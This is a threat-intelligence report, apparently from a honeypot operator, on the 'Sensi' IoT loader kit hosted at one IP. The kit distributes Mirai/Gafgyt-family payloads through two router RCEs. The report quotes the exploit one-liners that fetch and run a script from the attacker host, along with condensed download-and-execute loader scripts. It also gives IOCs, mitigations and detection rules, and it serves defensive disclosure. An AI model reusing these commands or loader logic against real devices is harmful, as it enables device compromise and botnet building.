TLP:CLEAR

Sensi IoT loader kit — 95.155.151.113

A build-tag distribution kit for a Mirai/Gafgyt-family multi-arch loader, stamping a distinct per-exploit tag into each of two coexisting script generations, run from a single host that is also the exploit source

Published 2026-08-15 Source Distributed SSH/Telnet Honeypot Fleet Confidence MEDIUM Classification Mirai/Gafgyt-Family — Multi-Vendor IoT Loader Build Kit

Last updated 2026-08-15.

Executive summary

We've published this shape before: a single host doing the exploit, the loader, and the payload hosting all at once, no separation of roles. Our July report on 94.183.232.247 called that combination unusual. It no longer reads as a one-off — this is a second, independent instance of the same operational pattern, six weeks later, from an unrelated host. What's different this time is the distribution mechanism: instead of one flat multi-architecture loader script, this host runs a small build system. Two coexisting generations of loader script, each stamping a distinct exploit-vendor tag — hikvision, tbkdvr, tplink, avtech, totolink, zhone, hi3520, and others — into an otherwise identical download-and-execute routine.

Key Finding
95.155.151.113 has, since 2026-07-30, served as an open directory hosting at least 52 distinct Mirai/Gafgyt-family payloads and loader scripts across at least 42 distinct filenames — the largest open-directory listing we've captured in the trailing 30 days by item count, more than 10x the 30-day average. The same IP directly exploited our fleet 34 times using two SOAP/UPnP router RCEs (Realtek miniigd UPnP command injection and the Huawei HG532 NewStatusURL RCE, CVE-2017-17215), in both cases delivering the identical one-liner: fetch a loader script from itself and execute it. We recovered 23 distinct loader-script variants from this host targeting at least 10 different IoT vendors/device families, organized as two generations of the same build pattern — an older, bare-tag generation and a newer generation with a byte-size sanity check and slim/full payload tiers.

VirusTotal (checked live, 2026-08-15) classifies the recovered ELF payloads as trojan.mirai/gafgyt, with detection rates as high as 40/60 engines on the largest observed binary. We detonated 13 of the recovered payloads in sandbox; all executed cleanly (exit_kind: exited) but none produced an outbound command-and-control connection within the observation window — a real limitation of this report, not a finding of C2 absence.

43
Items In Open Directory
52
Distinct Payload/Script Hashes
23
Loader Script Variants
10+
Distinct Vendor Tags
34
Sensors Directly Exploited
40/60
Top VT Detection

Threat actor profile

No named threat actor or public write-up was found matching this exact build-tag kit or its script naming convention. The operator has not been attributed. One filename choice is worth flagging as a possible self-identifier rather than a vendor-exploit tag: the generic loader at /sensi.sh has been served in two different forms over time — one tagged sensi, the other, functionally identical but from the older script generation, tagged goon. Every other tag we recovered names a real vendor or device family (Hikvision, TP-Link, Avtech, TOTOLINK, Zhone, Fiberhome-shaped, Hisilicon HI3520, generic TBK/generic DVR). goon doesn't fit that pattern and reads more like an operator or builder handle than an exploit label.

Tooling Assessment
The kit shows real iteration, not a static toolkit. Two script generations coexist on the same host: an older generation with no size validation that always sweeps all 10 known architectures, and a newer generation that tries a "slim" payload first, falls back through a "full" payload per architecture in priority order matched to the target vendor, and validates the downloaded file is over 10KB before executing it (rejecting a truncated or 404-body download instead of running garbage). The newer generation's fallback chain — wget → BusyBox wget → system wgetcurltftp — is more resilient than the flat single-tool loaders we've seen from comparable hosts, suggesting either active development or a kit assembled from a more mature builder than the single-generation loader documented in our July report.
AttributeAssessmentConfidence
Motivation Botnet recruitment — family classification (Mirai/Gafgyt) and IoT/router targeting are consistent with DDoS-capable botnet building; no C2 tasking observed to confirm active use MED
Target profile Opportunistic, RCE-driven — at least 10 distinct consumer/SMB router and IP-camera/DVR vendor families targeted by name (Hikvision, TP-Link, Avtech, TOTOLINK, Zhone, Realtek/UPnP devices, Huawei HG532, TBK DVR, Hisilicon HI3520-based cameras, a Fiberhome-shaped target) HIGH
Operational tempo Sustained, not a single burst — first observed 2026-07-30, still actively growing its directory listing and being fetched from as of this report's publish date HIGH
Attribution Unknown; no named threat actor or public research found matching this kit MED

Infrastructure analysis

95.155.151.113 ────────── exploit source, loader host, and payload library — one IP, three roles
Realtek miniigd UPnP (NewInternalClient) and Huawei HG532 (NewStatusURL, CVE-2017-17215)
wget http://95.155.151.113/sensi.sh -O z; chmod 777 z; sh z
stage-1 script picks a TAG (vendor identity) and an arch-priority order
fetches /d/xd.<arch> (or /d/slim.<arch> first, newer generation)
executes payload as ./d "$TAG" — e.g. ./d hikvision, ./d tbkdvr
payload — VirusTotal: trojan.mirai/gafgyt

Directory listing

AttributeValue
Server bannerApache/2.4.68 (Debian)
Items in listing43 (detector: apache directory index)
First captured2026-07-30 03:31 UTC
Most recent re-check2026-08-15 05:59 UTC
Distinct file hashes recovered via sample chase52, across 42 distinct URLs

Hosting

AttributeValue
IP95.155.151.113
Netblock95.155.151.0/24 (RIPE, registrant "Private Customer")
ASNAS40662, "LAYER7-MITIGATION" — registrant Layer7 Technologies Inc
ASN registered2026-02-26 (ARIN RDAP)
Infrastructure classification (spur.us, checked live)Datacenter; no VPN/proxy/tunnel flags; country NL
ASN naming note
The ASN's registered name, "LAYER7-MITIGATION," suggests a DDoS-mitigation or security-vendor service. We observed the opposite: this ASN hosting active exploit and malware-distribution infrastructure. We're not asserting this ASN is a knowingly complicit bulletproof host — a young (registered within the past 18 months), thinly-documented ASN carrying abuse traffic is common regardless of intent — but the naming mismatch is worth a reader's attention if cross-referencing this IOC against other activity on AS40662.

Malware analysis

Loader scripts — two generations

We recovered 23 distinct loader-script hashes from paths under /sensi* alone (the host also serves un-prefixed vendor scripts — dlink.sh, gpon.sh, hnap.sh, huawei.sh, netgear.sh, realtek.sh, unifi.sh — sharing the same download-and-execute logic, not counted in the 23). All are small POSIX shell scripts, no obfuscation.

GenerationShapeTags observed
Newer TAG="…" variable; tries a "slim" payload first per architecture, then falls back to "full" (xd.*); validates the downloaded file is >10KB before chmod 777 + execute; exits immediately on first successful run sensi, hikvision, tbk, avtech, tplink
Older Tag passed inline as a literal argument, no size check, no early exit — sweeps every architecture in a fixed order regardless of whether an earlier one already succeeded goon, hikvsn, tbkdvr, tplink, avtech, totolink, zhone, dvrr, hi3520, fboa
# Newer generation (sensi_tbk.sh) — condensed
SERVER="95.155.151.113"; TAG="tbk"
dl() {
    wget -q http://$SERVER/d/$1 -O d 2>/dev/null || busybox wget ... || curl -s -o d ... || tftp -g -l d -r $1 $SERVER
    [ -f d ] || return 1
    [ "$(wc -c < d)" -gt 10000 ] || { rm -f d; return 1; }
    chmod 777 d; ./d "$TAG" >/dev/null 2>&1 && exit 0
    rm -f d; return 1
}
dl slim.arm7; dl slim.arm; dl xd.arm7; dl xd.arm; dl xd.arm5; dl xd.arm6
dl slim.mips; dl slim.mpsl; dl xd.mips; dl xd.mpsl; dl xd.x86
dl slim.arm64; dl xd.arm64; dl xd.ppc; dl xd.sh4; dl xd.m68k

# Older generation (813ecca5…, tagged hikvsn) — condensed
SERVER="95.155.151.113"
dl() {
    wget -q http://$SERVER/d/$1 -O d 2>/dev/null || busybox wget ... || curl -s -o d ...
    chmod 777 d 2>/dev/null; ./d hikvsn; rm -rf d
}
dl xd.mips; dl xd.mpsl; dl xd.arm; dl xd.arm5; dl xd.arm6; dl xd.arm7
dl xd.ppc; dl xd.spc; dl xd.m68k; dl xd.sh4

Payload binaries

Multi-architecture ELF payloads under /d/ and mirrored at the directory root: arm, arm5, arm7, arm64, mips, mpsl. Not packed — file-type identification cleanly resolves ELF headers and target architecture on every sample we checked, unlike a UPX- or custom-packed binary, which typically identifies as raw "data." The two largest recovered "full" (xd.*) binaries are 734,664 and 734,312 bytes — notably large for a Mirai-family payload, consistent with the loader's own "slim first, then full" naming implying the full tier bundles additional functionality (self-propagation, telnet/SSH scanning) that a slim tier omits.

VirusTotal — live check, 2026-08-15
Top MIPS binary (b17643a1…, 660,784 bytes): 40/60 engines, popular_threat_name: trojan.mirai/gafgyt, engine labels include Trojan.Linux.Mirai.39487145 (MicroWorld-eScan, BitDefender, VIPRE, GData) and Backdoor.Linux.MIRAI.USBLH226 (TrendMicro). Second binary checked (ARM, bbbab27a…): 39/62 engines, same trojan.mirai/gafgyt classification. Consistent family verdict across architectures and engine vendors.

Sandbox detonation

13 of the recovered payloads (arm, aarch64, mips, mipsel architectures) were run through our automated sandbox pipeline, each for a 5-minute window. All 13 executed successfully (boot_ok, login_ok, exec_ok all true) and exited cleanly (exit_kind: exited) without crashing or hanging.

No C2 Callout Observed — a Limitation, Not a Finding
None of the 13 detonations produced network traffic large enough to register a C2 endpoint or DNS query in our automated capture (largest pcap: 2,799 bytes over a 300-second window). This does not mean the binaries lack a live command-and-control channel — it means our 5-minute automated window didn't happen to catch one, either because tasking is infrequent, because the C2 endpoint uses a hardcoded IP our WARP egress path couldn't reach, or because the binary requires conditions our sandbox didn't provide. Our July report on a comparable single-host loader (94.183.232.247) needed a 12-hour dwell before the C2 channel produced any traffic beyond a heartbeat. We have not yet run an extended dwell against this host's payloads; that is the most direct way to close this gap and is noted as follow-up work.

Observed TTPs — MITRE ATT&CK

Exploit Public-Facing Application
Realtek miniigd UPnP command injection and Huawei HG532 NewStatusURL RCE (CVE-2017-17215)
Unix Shell
Injected SOAP action bodies execute a shell one-liner on the target device
Ingress Tool Transfer
wget/BusyBox-wget/curl/tftp fallback chain fetches loader script and per-architecture payload
Active Scanning: Vulnerability Scanning
Source IP probed generic HTTP/WordPress-bait paths roughly two hours before the first confirmed router RCE attempt

Activity timeline

2026-07-30 01:36 UTC
First activity from 95.155.151.113 against our fleet — generic HTTP/apache-bait probing, no exploit attempt yet.
2026-07-30 03:31 UTC
First confirmed RCE attempt — Realtek miniigd UPnP command injection against sensor vps-AA, delivering wget http://95.155.151.113/sensi.sh -O z; chmod 777 z; sh z. Same request triggered our open-directory hunter, which recorded the first probe of the listing at this IP.
2026-07-30 03:56 UTC
First Huawei HG532 NewStatusURL RCE (CVE-2017-17215) against sensor vps-BF, delivering the identical sensi.sh payload URL.
2026-07-30 – 2026-08-11
Continued direct exploitation against our fleet — 34 distinct sensors hit, 5,488 command-input events total, mostly repeats of the same two RCE chains with the same dropper URL.
2026-08-01 – 2026-08-09
13 recovered payloads run through automated sandbox detonation as they were chased; all execute cleanly, no C2 callout captured in the 5-minute windows.
2026-08-15 05:59 UTC
Most recent open-directory re-check confirms the listing is still live, still at 43 items.
2026-08-15 17:03 UTC
Most recent sample-chase sighting from this host — still actively serving payloads as of this report's publish date.

Exploit payload

Realtek miniigd UPnP command injection

A long-known UPnP/SOAP command-injection weakness in Realtek's miniigd SDK, abused via the NewInternalClient action parameter of the WANIPConn1/WANPPPConn1 UPnP service. Widely exploited by Mirai-lineage botnets since at least 2018.

`cd /tmp; wget http://95.155.151.113/sensi.sh -O z; chmod 777 z; sh z`

Huawei HG532 NewStatusURL RCE (CVE-2017-17215)

Command injection in the Huawei HG532 router's UPnP NewStatusURL/NewDownloadURL SOAP action, first mass-exploited by Satori/Okiru in late 2017.

$(/bin/busybox wget http://95.155.151.113/sensi.sh -O /tmp/z; chmod 777 /tmp/z; sh /tmp/z)
$(echo HUAWEIUPNP)

Both RCE chains deliver the identical dropper one-liner, differing only in the SOAP wrapper the vulnerable device parses.

Indicators of compromise

Network IOCs

Exploit Source / Loader Host / Payload Library
95.155.151.113
AS40662 (LAYER7-MITIGATION / Layer7 Technologies Inc); Apache/2.4.68 open directory
Generic Loader URL
http://95.155.151.113/sensi.sh
Served under two different hashes/generations over time; tag sensi or goon
Payload Path Pattern
http://95.155.151.113/d/xd.<arch> and /d/slim.<arch>
arch ∈ {mips, mpsl, arm, arm5, arm6, arm7, arm64, ppc, spc, m68k, sh4, x86}
Vendor-Tagged Loader Paths
/sensi_{tbk,hk,av,ct,dv,fb,hi,tp,zh,totolink}.sh, /{dlink,gpon,hnap,huawei,netgear,realtek,unifi}.sh
Same download-and-execute logic, different vendor tag stamped into the executed payload's argv

File IOCs — representative sample

SHA256Type / TagVT
b17643a10894128e150cec8f619be1c1960bc99eb789eeb4b5f6fa370265e2c3 ELF, MIPS, "full" tier 40 / 60
bbbab27acb546f3f3aa632bb5e084316f4af2fef4490262dfc33d4df624f96cc ELF, ARM, "full" tier 39 / 62
8cb48c18c1b8e09e4d4cf12025599f61dcfff3b77adc96668e32cd47eae51a07 Shell script, sensi_tbk, newer generation 28 / 60
813ecca5f5f3db59b5a1ff6979669d50347295cd4dbc8c7a233d1c0c8e6a35c2 Shell script, hikvsn, older generation 29 / 61

Full IOC set (52 distinct hashes across 42 URLs) available on request; representative sample shown for brevity.

Mitigations and detection

ActionPriorityDetail
Patch or retire vulnerable Huawei HG532 routers HIGH CVE-2017-17215 has been mass-exploited since 2017 and remains a live vector nearly a decade later. If a firmware fix is unavailable, disable remote UPnP management entirely.
Disable UPnP on Internet-facing interfaces HIGH The Realtek miniigd weakness and CVE-2017-17215 both ride the UPnP/SOAP management interface. UPnP should never be reachable from the WAN side of a router.
Block outbound fetches to the loader host MED Block 95.155.151.113 at the perimeter; the host has been active and growing its payload library for over two weeks as of this report.
Hunt for the size-gated stage-1 pattern MED The newer-generation loader's ≥10KB size check is a useful detection anchor: a device fetching a small file over HTTP/TFTP and immediately chmod 777-ing and executing it is a strong indicator regardless of the specific host.

Detection signatures

# Suricata/Snort — Realtek miniigd UPnP command injection delivering this kit
alert http any any -> $HOME_NET any (msg:"Sensi kit: Realtek miniigd RCE delivering loader"; \
  content:"NewInternalClient"; http_client_body; \
  content:"95.155.151.113"; http_client_body; \
  flow:established,to_server; sid:9920101; rev:1;)

# Suricata/Snort — Huawei HG532 CVE-2017-17215 delivering this kit
alert http any any -> $HOME_NET any (msg:"Sensi kit: Huawei HG532 CVE-2017-17215 delivering loader"; \
  content:"NewStatusURL"; http_client_body; \
  content:"95.155.151.113"; http_client_body; \
  flow:established,to_server; sid:9920102; rev:1;)

# Suricata — outbound fetch from the loader host
alert http $HOME_NET any -> 95.155.151.113 any (msg:"Sensi kit: outbound loader/payload fetch"; \
  content:"GET"; http_method; \
  flow:established,to_server; sid:9920103; rev:1;)

Collection methodology

All data in this report was collected organically by a distributed SSH/Telnet honeypot fleet deployed across multiple cloud providers and geographic regions. Fleet nodes also run alternate-protocol lure daemons that capture exploitation attempts against commonly-targeted IoT/router management interfaces, including the UPnP/SOAP services abused in this campaign.

Dropper URLs extracted from captured exploit commands were automatically fetched and stored by the fleet's collection pipeline; the same pipeline discovered and recursively harvested the open directory once the dropper's parent path was identified. Recovered ELF payloads were automatically queued for sandbox detonation, with network egress routed through a residential-style VPN for realistic network conditions; no interaction with victim networks occurred beyond passive observation of traffic the sample itself generated. VirusTotal, RDAP, and IP-infrastructure-classification lookups were performed via the fleet's own investigation tooling at the time this report was written.